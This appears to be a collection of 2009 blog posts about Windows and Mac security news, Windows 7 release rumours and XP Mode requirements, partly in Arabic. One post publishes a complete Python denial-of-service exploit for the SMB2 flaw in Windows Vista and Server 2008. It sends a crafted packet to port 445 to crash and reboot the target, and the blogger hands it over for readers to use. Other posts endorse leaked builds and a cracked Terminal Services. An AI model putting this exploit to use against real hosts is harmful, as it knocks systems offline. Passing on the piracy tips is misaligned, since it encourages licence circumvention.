I received this interesting news today from my friend Lance. he said that he have read of several instances where hardware was infected but this is the first time he seen it officially reported in a CERT alert. The Energizer DUO, a USB-powered battery recharger was distributing malicious code that infected windows systems.
The hardware device itself does not infect the computer. Instead the infection happens from the software that comes with the device. Energizer is currently working with CERT to learn how their software was infected. In addition, only 9 out of 42 anti-virus products were able to detect the virus.
Lesson learned, it does not matter where you get the software from, scan it before installing it. Be sure your policies are enforcing this.
Technical details about this trojan can be found here
via: HoneyTech Security Update
September 17th, 2009
Fahad
Snow Leopard lacks security features that are built in to Windows XP, Windows Vista and Windows 7, a noted Mac researcher has said. Dubbed ASLR, for address space layout randomization, the technology randomly assigns data to memory to make it tougher for attackers to determine the location of critical operating system functions, and thus make it harder for them to craft reliable exploits.
“Apple didn’t change anything,” said Charlie Miller, of Baltimore-based Independent Security Evaluators, the co-author of The Mac Hacker’s Handbook, and winner of two consecutive “Pwn2own” hacker contests. “It’s the exact same ASLR as in Leopard, which means it’s not very good.”
Snow Leopard lacks security features that are built in to Windows XP, Windows Vista and Windows 7, a noted Mac researcher has said. Dubbed ASLR, for address space layout randomization, the technology randomly assigns data to memory to make it tougher for attackers to determine the location of critical operating system functions, and thus make it harder for them to craft reliable exploits.
“Apple didn’t change anything,” said Charlie Miller, of Baltimore-based Independent Security Evaluators, the co-author of The Mac Hacker’s Handbook, and winner of two consecutive “Pwn2own” hacker contests. “It’s the exact same ASLR as in Leopard, which means it’s not very good.”
September 9th, 2009
Fahad
There is a flaw in SMB2.0 which exists (I mean the SMBv2 itself not the vulnerability) in windows vista, 2008,7 and 2008 R2 but only Windows Vista & 2008 are vulnerable. If you exploited this flaw successfully you will crash & reboot any vista or 2008 remotely (of course only if SMB 445 port open 
). Anyhow here is the exploit code it’s written in python & I will assume that you know what to do with it
# SecurityReason Note :
# Tested on : Windows Vista SP2 full updated – US-en
#
#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High” header field it
dies with a
# PAGE_FAULT_IN_NONPAGED_AREA B.S.O.D
from socket import socket
from time import sleep
host = “IP_ADDR”, 445
buff = (
“\x00\x00\x00\x90″ # Begin SMB header: Session message
“\xff\x53\x4d\x42″ # Server Component: SMB
“\x72\x00\x00\x00″ # Negociate Protocol
“\x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
“\x00\x26″# Process ID High: –> normal operation should be “\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00″
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Go Get it, What You Waiting For
I already activated my desktop, laptop & netbook copies
Windows 7 Sneak-Peak from MGX (Video)
Windows 7 will be available for all MSDN\Technet subscribers on
6-8-2009
YES! NO
Build: 7600.16384.090710-1945
Just wait for a leak :)
Update: July 14, 2009 12:30AM
SIZE: 3,224,717,312 bytes
CRC: 1EE7DC6F
MD5: E6CE9644D0C7A8E1C950D257A7B2C8A4
SHA1: 31849B315290EFABFD81F967ED3C553D82925E4C
Update: July 14, 2009 01:15AM
Microsoft blogger Brandon LeBlanc has provided an official update on the Windows 7 release to manufacturing (RTM).
In a blog posting to the Windows Team blog, LeBlanc admits “there have been many rumors surrounding RTM” over the past week and notes “we are close, but have not yet signed off on Windows 7. When we RTM you will most certainly hear it here. As we’ve said all along, we will RTM Windows 7 when it’s ready. As previously stated, we expect Windows 7 to RTM in the 2nd half of July.”
تم اصدار ويندوز 7 RC1 لمشتركي msdn و technet وهي نسخه مطابقه تماما للنسخه المسربه قبل اسبوع تقريبا بالاظافه الى ان مايكروسوفت اعلنت رسميا الان عن متطلبات تشغيل ويندوز 7 و ويندوز XP Mode وابدا بمتطلبات تشغيل ويندوز 7 وهي كالتالي:
1 GHz or faster 32-bit (x86) or 64-bit (x64) processor
1 GB of RAM (32-bit)/2 GB of RAM (64-bit)
16 GB of available disk space (32-bit)/20 GB (64-bit)
DirectX 9 graphics device with Windows Display Driver Model 1.0 or higher driver
الان متطلبات تشغيل Windows XP Mode
2GB system RAM
A CPU that supports chip-level virtualization
انا اشوف المتطلبات المذكوره اعلاه موجوده في السوق من سنتين تقريبا .. ولا وش رايكم ؟؟
يتضح من الفيديو السابق طريقة عمل الـ XP Mode وفكرتها بسيطه واللي يفهم في Terminal Services بيفهم فكرت XP Mode.. بس فيه قصور زي مانتوا شايفين بالمقطع السابق اذا شغلت الاكسبلورر 6 زي ماهو واضح بالمقطع من خلال ويندوز 7 راح يتقفل معك الدسك توب الخاص با اكس بي وبيشتغل معاك الانترنت اكسبلورر6 فقط .. وهذا السبب راجع ان Terminal Service بويندوز اكس بي فيه يقتصر على Session وحده فقط .. يعني لو تسوي لها كراك وهو متوفر بالنت بحيث انه ييقبل اكثر من Terminal Session فا راح يكون بامكانك تشغل الاكس بي كا دسك توب كامل وتشغل الاكسبلورر 6 من ويندوز 7 مباشره بنفس الوقت واللي عنده استفسار او سؤال حول هالخاصيه يتفضل وان شاءالله بجاوبه طبعا الفيديو والمعلومات انا اخذتها من رفاييل وهو صاحب موقع withinwindows.com
